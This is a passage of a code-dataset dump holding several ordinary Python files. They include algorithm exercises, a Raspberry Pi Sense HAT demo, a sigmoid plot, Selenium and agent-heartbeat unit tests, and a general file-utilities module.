dfs(i,j-1,grid)\n left = dfs(i-1,j,grid)\n right = dfs(i+1,j,grid)\n \n return up + down + left + right + 1\n\nclass Solution(object):\n def maxAreaOfIsland(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n count = 0\n arr = []\n for i in range(len(grid)):\n for j in range(len(grid[i])):\n \n if grid[i][j] == 1:\n temp = dfs(i,j,grid)\n arr.append(temp)\n count = max(temp, count)\n #for river sizes problem\n #print(arr) \n return count\n","repo_name":"jyotijauhari/DSA-questions-Python","sub_path":"12_Graph/LC/MaxAreaOfIsland_modified_riversizes.py","file_name":"MaxAreaOfIsland_modified_riversizes.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"14313579167","text":"from sense_hat import SenseHat\nfrom time import sleep\nfrom random import randint\n\nsense = SenseHat()\n\nsense.set_rotation(180)\n\nfor i in range(3, 0, -1):\n sense.show_letter(str(i), text_colour=[randint(0, 255), randint(0, 255), randint(0, 255)])\n sleep (1)\n\nsense.show_message(\"Sparkle\",scroll_speed=0.05)\n\nfor i in range(10000):\n sleep(0.05)\n i+=1\n print (i)\n num1 = randint(0, 255)\n num2 = randint(0, 255)\n num3 = randint(0, 255)\n color = (num1, num2, num3)\n space1 = randint(0, 7)\n space2 = randint(0, 7)\n\n # Set on what pixel what to print\n sense.set_pixel(space1, space2, color)\n\n# Clear the LED matrix on sense hat\nsense.clear()\n\n","repo_name":"ijoshi90/RaspberryPi","sub_path":"Sense_HAT/hat_sparkle.py","file_name":"hat_sparkle.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26835386512","text":"# w값의 변화에 따른 Sigmoid 함수의 경사도 변화\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef sigmoid(t):\n return 1 / (1 + np.exp(-t))\n\n\nx = np.arange(-5.0, 5.0, 0.1)\ny1 = sigmoid(0.5 * x)\ny2 = sigmoid(x)\ny3 = sigmoid(2 * x)\n\nprint('y1: ', y1)\nprint('y2: ', y2)\nprint('y3: ', y3)\n\nplt.plot(x, y1, 'r', linestyle='--') # w가 0.5인 경우\nplt.plot(x, y2, 'g') # w가 1인 경우\nplt.plot(x, y3, 'b', linestyle='--') # w가 2인 경우\nplt.plot([0, 0], [1.0, 0.0], ':') # 가운데 점선 추가\nplt.title('Sigmoid Function')\nplt.show()","repo_name":"NoirCade/MS-AI-School","sub_path":"60일차/ex02.py","file_name":"ex02.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12205528476","text":"def sum_function(*args, **kwargs):\n sum = 0\n for arg in args:\n if isinstance(arg, (int, float)) :\n sum += arg\n\n for key in kwargs.keys():\n if isinstance(kwargs[key], (int, float)):\n sum += kwargs[key]\n\n print(f'The sum of the integer and float numbers is {sum}')\n return sum\n","repo_name":"dixxii11/Python_courses","sub_path":"homework_week3/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25320157925","text":"import pytest\nfrom mock import MagicMock\nfrom selenium import webdriver\nfrom selenium.common.exceptions import WebDriverException\n\nfrom music_scraper.clients.web_driver import WebDriver\nfrom music_scraper.clients.exceptions import WebDriverFailure\n\nTEST_URL = \"https://albumwebsite.com/albums\"\n\n\n@pytest.fixture\ndef web_driver() -> WebDriver:\n selenium_web_driver = MagicMock(spec=webdriver.Chrome)\n selenium_web_driver.get.return_value = None\n selenium_web_driver.page_source = \"\"\n return WebDriver(selenium_web_driver)\n\n\ndef test_web_driver_get_page_html(web_driver):\n result = web_driver.get_page_html(TEST_URL)\n expected = \"\"\n assert result == expected\n web_driver._driver.close.assert_called()\n\n\ndef test_web_driver_get_page_html_failure(web_driver):\n web_driver._driver.get.side_effect = WebDriverException\n with pytest.raises(WebDriverFailure):\n web_driver.get_page_html(\"\")\n","repo_name":"petermnhull/python-music-scraper","sub_path":"tests/clients/test_web_driver.py","file_name":"test_web_driver.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40549544592","text":"import time\nfrom datetime import datetime, timedelta\nfrom unittest.mock import MagicMock\nfrom uuid import UUID\n\nimport pytest\nimport pytz\nfrom tests.monkey_island import InMemoryAgentRepository\n\nfrom common import AgentHeartbeat\nfrom monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic\nfrom monkey_island.cc.island_event_handlers import AgentHeartbeatMonitor\nfrom monkey_island.cc.models import Agent\n\nAGENT_ID_1 = UUID(\"2d56f972-78a8-4026-9f47-2dfd550ee207\")\nAGENT_SHA256 = \"142e6b8c77382ebaa41d3eb5cc6520dc5922d1030ecf2fa6fbb9b2462af11bbe\"\nAGENT_1 = Agent(\n id=AGENT_ID_1,\n machine_id=1,\n start_time=100,\n stop_time=None,\n sha256=AGENT_SHA256,\n)\n\nAGENT_ID_2 = UUID(\"65c641f2-af47-4a42-929b-109b30f0d8d6\")\nAGENT_2 = Agent(\n id=AGENT_ID_2,\n machine_id=2,\n start_time=100,\n stop_time=None,\n sha256=AGENT_SHA256,\n)\n\nAGENT_ID_3 = UUID(\"290da3c3-f410-4f5e-a472-b04416860a2c\")\nAGENT_3 = Agent(\n id=AGENT_ID_3,\n machine_id=3,\n start_time=300,\n stop_time=None,\n sha256=AGENT_SHA256,\n)\n\nAGENT_ID_ALREADY_STOPPED = UUID(\"e5cd334a-5ca5-4f19-a2ab-a68d515fea46\")\nAGENT_ALREADY_STOPPED = Agent(\n id=AGENT_ID_ALREADY_STOPPED,\n machine_id=4,\n start_time=600,\n stop_time=700,\n sha256=AGENT_SHA256,\n)\n\n\n@pytest.fixture\ndef mock_island_event_queue() -> IIslandEventQueue:\n return MagicMock(spec=IIslandEventQueue)\n\n\n@pytest.fixture\ndef in_memory_agent_repository():\n return InMemoryAgentRepository()\n\n\n@pytest.fixture\ndef agent_heartbeat_handler(in_memory_agent_repository, mock_island_event_queue):\n return AgentHeartbeatMonitor(in_memory_agent_repository, mock_island_event_queue)\n\n\ndef test_multiple_agents(\n agent_heartbeat_handler, in_memory_agent_repository, mock_island_event_queue\n):\n in_memory_agent_repository.upsert_agent(AGENT_1)\n in_memory_agent_repository.upsert_agent(AGENT_2)\n in_memory_agent_repository.upsert_agent(AGENT_3)\n\n agent_heartbeat_handler.handle_agent_heartbeat(AGENT_ID_1, AgentHeartbeat(timestamp=110))\n agent_heartbeat_handler.handle_agent_heartbeat(AGENT_ID_2, AgentHeartbeat(timestamp=200))\n\n agent_heartbeat_handler.set_unresponsive_agents_stop_time()\n\n agent_1 = in_memory_agent_repository.get_agent_by_id(AGENT_ID_1)\n agent_2 = in_memory_agent_repository.get_agent_by_id(AGENT_ID_2)\n agent_3 = in_memory_agent_repository.get_agent_by_id(AGENT_ID_3)\n\n assert agent_1.stop_time == datetime.fromtimestamp(110, tz=pytz.UTC)\n assert agent_2.stop_time == datetime.fromtimestamp(200, tz=pytz.UTC)\n assert agent_3.stop_time == agent_3.start_time\n assert mock_island_event_queue.publish.call_count == 3\n mock_island_event_queue.publish.assert_any_call(\n IslandEventTopic.AGENT_TIMED_OUT, agent_id=AGENT_ID_3\n )\n mock_island_event_queue.publish.assert_any_call(\n IslandEventTopic.AGENT_TIMED_OUT, agent_id=AGENT_ID_2\n )\n mock_island_event_queue.publish.assert_any_call(\n IslandEventTopic.AGENT_TIMED_OUT, agent_id=AGENT_ID_3\n )\n\n\ndef test_no_heartbeat_received(\n agent_heartbeat_handler, in_memory_agent_repository, mock_island_event_queue\n):\n in_memory_agent_repository.upsert_agent(AGENT_1)\n\n agent_heartbeat_handler.set_unresponsive_agents_stop_time()\n\n assert in_memory_agent_repository.get_agent_by_id(AGENT_ID_1).stop_time == AGENT_1.start_time\n mock_island_event_queue.publish.assert_called_once_with(\n IslandEventTopic.AGENT_TIMED_OUT, agent_id=AGENT_ID_1\n )\n\n\ndef test_agent_shutdown_unexpectedly(\n agent_heartbeat_handler, in_memory_agent_repository, mock_island_event_queue\n):\n last_heartbeat = datetime.fromtimestamp(8675309, tz=pytz.UTC)\n in_memory_agent_repository.upsert_agent(AGENT_1)\n agent_heartbeat_handler.handle_agent_heartbeat(\n AGENT_ID_1, AgentHeartbeat(timestamp=last_heartbeat)\n )\n\n agent_heartbeat_handler.set_unresponsive_agents_stop_time()\n\n assert in_memory_agent_repository.get_agent_by_id(AGENT_ID_1).stop_time == last_heartbeat\n mock_island_event_queue.publish.assert_called_once_with(\n IslandEventTopic.AGENT_TIMED_OUT, agent_id=AGENT_ID_1\n )\n\n\ndef test_leave_stop_time_if_heartbeat_arrives_late(\n agent_heartbeat_handler, in_memory_agent_repository, mock_island_event_queue\n):\n in_memory_agent_repository.upsert_agent(AGENT_ALREADY_STOPPED)\n expected_stop_time = AGENT_ALREADY_STOPPED.stop_time\n heartbeat_time = AGENT_ALREADY_STOPPED.stop_time + timedelta(seconds=1000)\n agent_heartbeat_handler.handle_agent_heartbeat(\n AGENT_ID_ALREADY_STOPPED, AgentHeartbeat(timestamp=heartbeat_time)\n )\n\n agent_heartbeat_handler.set_unresponsive_agents_stop_time()\n\n assert (\n in_memory_agent_repository.get_agent_by_id(AGENT_ID_ALREADY_STOPPED).stop_time\n == expected_stop_time\n )\n assert not mock_island_event_queue.publish.called\n\n\ndef test_use_latest_heartbeat(\n agent_heartbeat_handler, in_memory_agent_repository, mock_island_event_queue\n):\n last_heartbeat = datetime.fromtimestamp(8675309, tz=pytz.UTC)\n in_memory_agent_repository.upsert_agent(AGENT_1)\n agent_heartbeat_handler.handle_agent_heartbeat(AGENT_ID_1, AgentHeartbeat(timestamp=1000))\n agent_heartbeat_handler.handle_agent_heartbeat(\n AGENT_ID_1, AgentHeartbeat(timestamp=last_heartbeat)\n )\n\n agent_heartbeat_handler.set_unresponsive_agents_stop_time()\n\n assert in_memory_agent_repository.get_agent_by_id(AGENT_ID_1).stop_time == last_heartbeat\n mock_island_event_queue.publish.assert_called_once_with(\n IslandEventTopic.AGENT_TIMED_OUT, agent_id=AGENT_ID_1\n )\n\n\ndef test_heartbeat_not_expired(\n agent_heartbeat_handler, in_memory_agent_repository, mock_island_event_queue\n):\n in_memory_agent_repository.upsert_agent(AGENT_1)\n agent_heartbeat_handler.handle_agent_heartbeat(\n AGENT_ID_1, AgentHeartbeat(timestamp=time.time())\n )\n\n agent_heartbeat_handler.set_unresponsive_agents_stop_time()\n\n assert in_memory_agent_repository.get_agent_by_id(AGENT_ID_1).stop_time is None\n assert not mock_island_event_queue.publish.called\n","repo_name":"guardicore/monkey","sub_path":"monkey/tests/unit_tests/monkey_island/cc/island_event_handlers/test_agent_heartbeat_monitor.py","file_name":"test_agent_heartbeat_monitor.py","file_ext":"py","file_size_in_byte":6082,"program_lang":"python","lang":"en","doc_type":"code","stars":6367,"dataset":"github-code","pt":"21"} +{"seq_id":"13018352231","text":"import pandas as pd\nimport numpy as np\n\n\ncnt1, cnt2 = 0, 0\n\ndef relative_coordinates(start, end, origin, terminus, length):\n global cnt1, cnt2\n def get_relative_position(loc, s_terminus):\n return loc / s_terminus if loc < s_terminus else - (length - loc) / (length - s_terminus)\n\n s_start = (start - origin + length) % length\n s_end = (end - origin + length) % length\n s_terminus = (terminus - origin + length) % length\n\n rel_start = get_relative_position(s_start, s_terminus)\n rel_end = get_relative_position(s_end, s_terminus)\n\n l = (rel_end - rel_start) % 2\n rel_center = (rel_start + l / 2 + 1) % 2 - 1\n\n return rel_start, rel_center, rel_end\n\n\ndef is_tandem_annotation(df, threshhold=1e4):\n aa_pos_to_tandem = {}\n df['center'] = (df.start + df.end) / 2\n\n for asm, df_asm in df.groupby('assembly_accession'):\n ps = df_asm.center.sort_values().to_numpy()\n length = df_asm.length.iloc[0]\n\n if len(ps) > 1:\n ds_to_prev = (ps - np.roll(ps, 1) + length) % length\n ds_to_next = (np.roll(ps, -1) - ps + length) % length\n\n tandem_flags = np.logical_or(ds_to_prev < threshhold, ds_to_next < threshhold)\n\n for p, tandem_flag in zip(ps, tandem_flags):\n aa_pos_to_tandem[(asm, p)] = tandem_flag\n\n df['has_tandem'] = [aa_pos_to_tandem.get((asm, p), False) for asm, p in zip(df.assembly_accession, df.center)]\n\n\nif __name__ == \"__main__\":\n df_16s = pd.read_csv('16S.tsv', sep='\\t')\n\n df_ori_ter = pd.read_csv('ori_ter.tsv', sep='\\t')\n df = pd.merge(df_16s, df_ori_ter, on='assembly_accession')\n df = df[abs(df.end - df.start + df.length) % df.length < 10000]\n\n is_tandem_annotation(df)\n\n rel_coords_2d = [[_1, *relative_coordinates(_2, _3, _5, _6, _7), _4, _8] for _1, _2, _3, _4, _5, _6, _7, _8 in\n zip(df.assembly_accession, df.start, df.end, df.orientation, df.origin, df.terminus, df.length,\n df.has_tandem)]\n\n rel_coords_df = pd.DataFrame(data=rel_coords_2d,\n columns=['assembly_accession', 'rel_start', 'rel_center', 'rel_end', 'orientation',\n 'has_tandem'])\n\n rel_coords_df.to_csv('16S_rel.tsv', index=False, header=True, sep='\\t')\n","repo_name":"oxygen311/rrna_bacterias","sub_path":"5_16s_rel_coords_and_tandem_flag.py","file_name":"5_16s_rel_coords_and_tandem_flag.py","file_ext":"py","file_size_in_byte":2299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4089588478","text":"'''\ncom.nwrobel.file \n\nThis module contains functionality related to performing file/directory operations, such as reading, \nwriting, renaming, deleting, and moving.\n'''\n\nimport re\nimport os\nfrom pathlib import Path\nimport shutil\nimport inspect\nimport csv\nimport json\nimport subprocess\nfrom typing import Literal, List\n\nfrom com.nwrobel import mypycommons\nimport com.nwrobel.mypycommons.utils\n\n\ndef getThisScriptCurrentDirectory():\n '''\n Returns the current directory that this current script (the one being executed) is located in.\n '''\n callerModuleName = _getCallerModuleName()\n return (os.path.dirname(os.path.realpath(callerModuleName)))\n\ndef isFile(path):\n '''\n Checks if the given path represents a valid, existing file.\n\n @params\n path: (str) the path to check\n '''\n pathObj = Path(path)\n return _isFile(pathObj)\n\ndef isDirectory(path):\n '''\n Checks if the given path represents a valid, existing directory.\n\n @params\n path: (str) the path to check\n '''\n pathObj = Path(path)\n return _isDir(pathObj)\n\ndef pathExists(path):\n '''\n Returns bool for whether or not the given path represents a valid, existing path (file or directory). \n \n @params\n path: (str) the path to check\n '''\n pathObj = Path(path)\n return (_isFile(pathObj) or _isDir(pathObj))\n\ndef isPossiblePath(path):\n '''\n Checks whether or not the given string is a legal, absolute, valid possible/potential path to\n a file or directory.\n This does not check for the existence of the path. \n\n @params\n path: (str) the path to check \n '''\n return os.path.isabs(path)\n\ndef joinPaths(path1, path2):\n '''\n Given a root absolute filepath and a child relative filepath, returns the effective combination\n of these two paths to make a 3rd filepath.\n\n @params\n path1: (str) the first part of the path, an absolute path\n path2: (str) the second part of the path, a relative/child path\n\n @example\n joinPaths(\"C:\\prog\\temp\", \"..\\test.txt\") --> \"C:\\prog\\test.txt\" \n '''\n joined = os.path.join(path1, path2)\n return os.path.abspath(joined)\n\ndef getChildPathsRecursive(rootDir: str, pathType: Literal['file', 'dir'] = None, containsStr: str = None, useWindowsExtendedPaths: bool = False):\n '''\n Gets the child paths of the root filepath, recursively.\n\n @params\n rootDir: the parent directory to search for paths within\n pathType: \"file\" or \"dir\" to return only files or only directories\n containsStr: returns path if the child path contains the given string (will only consider the\n partial path, relative to root, for matching)\n useWindowsExtendedPaths: makes all paths returned use the Windows extended path syntax, to avoid\n problems with long filepaths \n '''\n pathRootObj = Path(rootDir)\n childrenObjs = [pathObj for pathObj in pathRootObj.glob('**/*')]\n \n fileObjs = [childObj for childObj in childrenObjs if _isFile(childObj)]\n dirObjs = [childObj for childObj in childrenObjs if _isDir(childObj)]\n\n if (useWindowsExtendedPaths):\n filePaths = [('\\\\\\\\?\\\\' + str(fileObj)) for fileObj in fileObjs]\n dirPaths = [('\\\\\\\\?\\\\' + str(dirObj)) for dirObj in dirObjs]\n else:\n filePaths = [str(fileObj) for fileObj in fileObjs]\n dirPaths = [str(dirObj) for dirObj in dirObjs]\n\n allPaths = (filePaths + dirPaths)\n\n filePaths.sort()\n dirPaths.sort()\n allPaths.sort()\n\n if (containsStr):\n if (pathType == 'file'):\n return _filterChildPaths(rootDir, filePaths, containsStr)\n elif (pathType == 'dir'):\n return _filterChildPaths(rootDir, dirPaths, containsStr)\n else:\n return _filterChildPaths(rootDir, allPaths, containsStr)\n else:\n if (pathType == 'file'):\n return filePaths\n elif (pathType == 'dir'):\n return dirPaths\n else:\n return allPaths\n\n\ndef getFilesByExtension(rootDirPath, fileExt, useWindowsExtendedPaths=False):\n '''\n Gets the filepaths of all files contained within the given root directory that have the given \n file extension(s). Searches for files recursively. Either a single file extension or a list of \n file extensions may be specified. If more than 1 extension is given, files matching any of those\n extensions are returned (searches using OR, of course). Give file extension(s) with the dot.\n\n @params\n rootDirPath: the parent directory to search for files within\n fileExt: (str or list) file extension(s) to search for files by\n useWindowsExtendedPaths: (optional) makes all paths returned use the Windows extended path \n syntax, to avoid problems with long filepaths \n\n @example\n GetAllFilesByExtension(\"C:\\temp\", \".mp3\")\n GetAllFilesByExtension(\"C:\\temp\", [\".mp3\", \".flac\"])\n '''\n if (not isinstance(fileExt, list)):\n fileExt = [fileExt]\n \n allFiles = getChildPathsRecursive(rootDirPath, pathType='file', useWindowsExtendedPaths=useWindowsExtendedPaths)\n matchingFilepaths = []\n\n for filepath in allFiles:\n currentFileExt = getFileExtension(filepath)\n if (currentFileExt in fileExt):\n matchingFilepaths.append(filepath)\n\n return matchingFilepaths\n\ndef createDirectory(path):\n '''\n Creates a new directory.\n\n @params\n path: (str) path of the new directory to create\n '''\n folderPathObject = Path(path)\n folderPathObject.mkdir(parents=True)\n\ndef moveToDirectory(path, destDir):\n '''\n Moves the given path (file or folder) to the destination directory. \n Metadata and permissions are preserved.\n\n @params\n path: (str) the path (file or folder) to move to the dir\n destDir: path of the target directory to move to\n '''\n shutil.move(path, destDir) \n\ndef copyToDirectory(path, destDir):\n '''\n Copies the given path (file or folder) to the destination directory. \n Metadata and permissions are preserved.\n\n @params\n path: (str) the path (file or folder) to copy to the dir\n destDir: (str) path of the target directory to copy to\n '''\n if (isFile(path)):\n shutil.copy2(path, destDir)\n elif (isDirectory(path)):\n sourceDirName = getFilename(path)\n newDirFilepath = joinPaths(destDir, sourceDirName)\n shutil.copytree(path, newDirFilepath)\n else:\n raise Exception(\"The given path is invalid\")\n\ndef deletePath(path):\n '''\n Deletes a single file or directory\n\n @params\n path: (str) the path (file or folder) to delete\n '''\n pathObj = Path(path)\n\n if (_isFile(pathObj)):\n os.remove(path)\n elif (_isDir(pathObj)):\n shutil.rmtree(path)\n\ndef renamePath(path, newName):\n '''\n Renames a single file or directory. Note: If given a file, this function will rename the entire\n name (base name and file extension) to the given name. So, if you want the file to have an \n extension, you need to provide it in the new name given.\n\n @params\n path: (str) the path (file or folder) to rename\n newName: (str) the new name to give to the file or folder\n '''\n pathObj = Path(path)\n pathObj.rename(Path(pathObj.parent, newName))\n\n\ndef getParentDirectoryPath(path, useWindowsExtendedPaths=False):\n '''\n Given a path, returns the path of the parent directory. \n\n @params\n path: (str) the path (file or folder) to find the parent of\n useWindowsExtendedPaths: (optional) makes path returned use the Windows extended path \n syntax, to avoid problems with long filepaths \n '''\n filePathObject = Path(path)\n\n if (useWindowsExtendedPaths):\n parentDirPath = '\\\\\\\\?\\\\' + str(filePathObject.parent)\n else:\n parentDirPath = str(filePathObject.parent)\n\n parentDirPath = removeTrailingSlashFromPath(parentDirPath)\n return parentDirPath\n\ndef getFilename(filepath):\n '''\n Given a filepath, returns only the filename part, without the parent folders and containing its \n file extension.\n\n @params:\n filepath: path to the file \n '''\n filePathObject = Path(filepath)\n return filePathObject.name\n\ndef getFileExtension(filepath):\n '''\n Returns the file extension of a file, given its filepath. Specifically, this returns the final \n \".something\" in the given file's name. File extension is returned including the dot.\n Returns an empty string if no file extension exists.\n\n @params:\n filepath: path to the file \n '''\n filePathObject = Path(filepath)\n return filePathObject.suffix\n\ndef getFileBaseName(filepath):\n '''\n Returns the \"base\" name of the file, given the filepath. The base name is the filename minus the\n file's extension. \n\n @params:\n filepath: path to the file \n\n @example\n C:\\data\\playlist.m3u.tar --> playlist.m3u\n C:\\prog\\connect.log --> connect\n '''\n filePathObject = Path(filepath)\n return filePathObject.stem\n\ndef getPartialPath(rootDir: str, path: str) -> str:\n ''' \n Gets the partial path of the given absolute path, relative to the root (starting point)\n ''' \n return os.path.relpath(path, rootDir)\n\ndef applyPermissionToPath(path, owner, group, mask, recursive=False):\n '''\n Applies the given Unix file permissions (owner, group, permission mask) to the given path using\n the chown and chmod commands. \n\n @params\n path: the full path to the file or directory\n owner: the system username to apply as the owner\n group: the system groupname to apply as the group\n mask: the octal mask to apply to the path\n recursive: if true, sets the permissions to a directory recursively\n\n @notes\n This only works on Linux machines. \n This requires root (sudo) permissions to work - the python script using this function must\n be run like \"sudo python3 script.py\".\n '''\n # Set ownership and permissions using by calling the linux chown and chmod commands\n ownerGroup = \"{}:{}\".format(owner, group)\n\n if (recursive): \n subprocess.call(['sudo', 'chown', ownerGroup, '-R', path])\n subprocess.call(['sudo', 'chmod', mask, '-R', path])\n\n else:\n subprocess.call(['sudo', 'chown', ownerGroup, path])\n subprocess.call(['sudo', 'chmod', mask, path])\n\ndef clearFileContents(filepath):\n '''\n Removes all the data from the target file by deleting the file and re-creating it as an empty\n file with 0 bytes of data.\n\n @params\n filepath: (str) the path of the file to clear\n '''\n deletePath(filepath)\n open(filepath, 'wb').close()\n\ndef writeToFile(filepath, content, append=False):\n '''\n Writes the given data/content to the given file.\n\n @params:\n filepath: path to the output file\n content: data to be written to the file - must be either a string or a list of strings. Lists\n are written to the file with one string list item per line\n append: add the content to the end of the existing file, instead of replacing file contents on\n write if data exists\n '''\n if (isinstance(content, str)):\n content = [content]\n\n writeMode = \"w\"\n if (append):\n writeMode = \"a\"\n\n with open(filepath, writeMode, encoding='utf-8') as outputFile:\n for item in content:\n outputFile.write(\"{}\\n\".format(item))\n\ndef readFile(filepath, encoding='utf-8'):\n '''\n Reads the data line by line from the given file and returns a list of strings representing each\n line of the file. Newlines in the file will show up as newline characters in each string in the list.\n\n @params:\n filepath: path to the file \n encoding: (optional) the encoding to use to read the text of the file as, default is utf-8 \n '''\n with open(filepath, 'r', encoding=encoding) as infile:\n fileLines = infile.readlines()\n \n return fileLines\n\ndef readJsonFile(filepath):\n '''\n Reads the given Json file and returns a dict or a Json array representing the data.\n\n @params:\n filepath: path to the file \n '''\n with open(filepath) as f:\n data = json.load(f)\n\n return data\n\ndef writeJsonFile(filepath, contents):\n '''\n Writes the given content to a Json file. Throws an exception if the filepath already exists.\n\n @params:\n filepath: path of the json file to be written\n contents: dict or a list containing objects that are json serializable (like another dict) \n '''\n if (pathExists(filepath)):\n raise ValueError(\"The given filepath of the json file to write already exists\")\n\n with open(filepath, 'w', encoding='utf-8') as f:\n json.dump(contents, f, indent=4)\n\ndef readCSVFile(filepath):\n '''\n Reads the given CSV file and returns a list of arrays, each of which represent a row in the\n CSV file with the line split by the comma delimiter to get the data in each column.\n\n @params:\n filepath: path to the file \n '''\n csvLines = []\n with open(filepath, mode='r') as csvFile:\n iterCleanLines = _filterCSVLinesForIterator(csvFile)\n csvReader = csv.DictReader(iterCleanLines)\n\n for line in csvReader:\n csvLines.append(line)\n\n return csvLines\n\ndef getFileLineCount(filepath):\n '''\n Returns the line count of the given file. Useful for text (non-binary) files.\n\n @params:\n filepath: path to the file \n '''\n with open(filepath) as f:\n lineCount = 0\n for line in f:\n lineCount += 1\n\n return lineCount\n\ndef removeFirstNLinesFromTextFile(filepath, numLines):\n '''\n Edits the file to remove the first N lines of text data. \n\n @params:\n filepath: path to the file \n numLines: number of lines \"N\" to remove\n '''\n with open(filepath) as f:\n originalLines = f.readlines()\n\n clearFileContents(filepath)\n\n with open(filepath, 'w') as f:\n linesToKeep = originalLines[numLines:]\n f.writelines(linesToKeep)\n\ndef getFileSizeBytes(filepath):\n '''\n Returns the size of the given file in bytes.\n\n @params:\n filepath: path to the file\n '''\n return Path(filepath).stat().st_size\n\ndef getFileDateModifiedTimestamp(filepath):\n '''\n Returns the date modified timestamp of the given file.\n\n @params:\n filepath: path to the file\n '''\n return Path(filepath).stat().st_mtime\n\ndef removeTrailingSlashFromPath(path):\n '''\n Returns the given path without a '/' or '\\' at the end. If the path does not end with these,\n the path is simply returned, making this function safe to call on all paths in order to normalize\n them to an expected format (without trailing slash). \n\n Windows paths that consist of only a drive letter will also have the last slash removed \n (ex: D:\\ --> D:)\n\n @params:\n path: a path string\n '''\n if (com.nwrobel.mypycommons.utils.stringIsNullOrEmpty(path)):\n raise ValueError('path is null or empty string')\n\n while (path[-1] == '/' or path[-1] == '\\\\'):\n if (len(path) == 1):\n return path\n else:\n path = path[:-1] # remove last char. from string\n \n return path\n\n# -------------------------------- Private module helper functions ---------------------------------\n#\ndef _isFile(pathObj):\n '''\n Returns bool for whether or not the given Path object represents a valid, existing file.\n '''\n if (pathObj.is_file()):\n return True\n else:\n extendedFilepath = \"\\\\\\\\?\\\\\" + str(pathObj)\n extendedPathObj = Path(extendedFilepath)\n\n if (extendedPathObj.is_file()):\n return True\n else:\n return False\n\ndef _isDir(pathObj):\n '''\n Returns bool for whether or not the given Path object represents a valid, existing directory.\n '''\n if (pathObj.is_dir()):\n return True\n else:\n extendedFilepath = \"\\\\\\\\?\\\\\" + str(pathObj)\n extendedPathObj = Path(extendedFilepath)\n\n if (extendedPathObj.is_dir()):\n return True\n else:\n return False\n\ndef _getCallerModuleName():\n '''\n Returns the name of the caller (of the caller) module. Used by the getThisScriptCurrentDirectory\n function.\n '''\n frm = inspect.stack()[2]\n module = inspect.getmodule(frm[0])\n return module.__file__\n\ndef _CSVLineIsComment(line):\n return line.startswith('#')\n\ndef _CSVLineIsEmpty(line):\n line = line.strip()\n if (not line or line.isspace()):\n return True\n else:\n return False\n\ndef _filterCSVLinesForIterator(inFileIterator):\n for line in inFileIterator:\n if (not _CSVLineIsComment(line) and not _CSVLineIsEmpty(line)):\n yield line\n\ndef _filterChildPaths(rootDir: str, childPaths: List[str], containsStr: str):\n ''' \n Returns the list of paths that contain the given string. The partial path (relative to root\n dir) is checked for a match, not the whole path.\n ''' \n #regexStringFmt = re.compile(regexStr)\n\n partialPaths = []\n for path in childPaths:\n partialPaths.append(getPartialPath(rootDir, path))\n\n matchingPartialPaths = []\n for path in partialPaths:\n if (containsStr in path):\n matchingPartialPaths.append(path)\n\n matchingPaths = []\n for partialPath in matchingPartialPaths:\n fullPath = joinPaths(rootDir, partialPath)\n matchingPaths.append(fullPath)\n\n return matchingPaths","repo_name":"nwrobel/my-python-commons","sub_path":"com/nwrobel/mypycommons/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":17301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43297398341","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Mar 6 23:07:18 2019\n\n@author: reblivi\n\"\"\"\n\nclass Problem(object):\n \n def __init__(self, data, label, estimator, cv, **kwargs):\n \n self.data = data\n self.label = label\n self.estimator = estimator\n self.cv = cv\n self.extra = kwargs if kwargs else None\n self.n_rows, self.n_cols = self.data.shape\n \n def _verify_kwargs(self):\n raise NotImplementedError","repo_name":"victorrebli/PSOFeatureSelection","sub_path":"problem.py","file_name":"problem.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"30336529194","text":"from PIL import Image\n\n# filename will be set through user-pre input in java\n# (with @param 'params' in method PyAdapter.runScript())\nfilename = ''\n# img will be set through Image.open(..)\nimg = None\ntry:\n img = Image.open(filename)\n img = img.rotate(180).transpose(Image.FLIP_LEFT_RIGHT)\nexcept IOError:\n print('Python-IOError occurred!')\n","repo_name":"GanjaTec/PlaneSpotter","sub_path":"python-helper/runtime-helper/correctimg.py","file_name":"correctimg.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23607106753","text":"def adventurer():\n n=int(input())\n data = list(map(int,input().split(' '))) #모험가의 정보 입력받기\n data.sort() #데이터를 오름차순으로 정렬하기\n\n result = 0 #총 그룹의 수 초기화\n count = 0 #현재 그룹에 포함된 모험가의 수 초기화\n\n for i in data:\n count+=1 #count 추가하기\n if count>=i: #모험가가 count보다 많거나 같은 경우\n result+=1 #result에 추가\n count=0 #count 0으로 초기화\n\n return result\n\n#print(adventurer())\n\ndef multiple_or_plus():\n s = list(map(int,input()))\n\n for i in range(len(s)-1):\n if s[i]==0 or s[i]==1: #해당 숫자가 0이나 1인 경우 더하기\n s[i+1]=s[i]+s[i+1]\n else: #해당 숫자가 0이나 1이 아닌 경우 곱하기\n s[i+1]=s[i]*s[i+1]\n\n return s[-1] #제일 마지막에 있는 수 return\n\n#print(multiple_or_plus())\n\ndef reverse_string():\n s = input()\n count0 = 0 #전부 0으로 바꾸는 경우\n count1 = 0 #전부 1로 바꾸는 경우\n\n if s[0]==0: #첫번째 숫자가 0인 경우 \n count1+=1 #1로 바뀌는 데에 추가\n else: #첫번째 숫자가 1인 경우 \n count0+=1 #0으로 바뀌는 데에 추가\n\n for i in 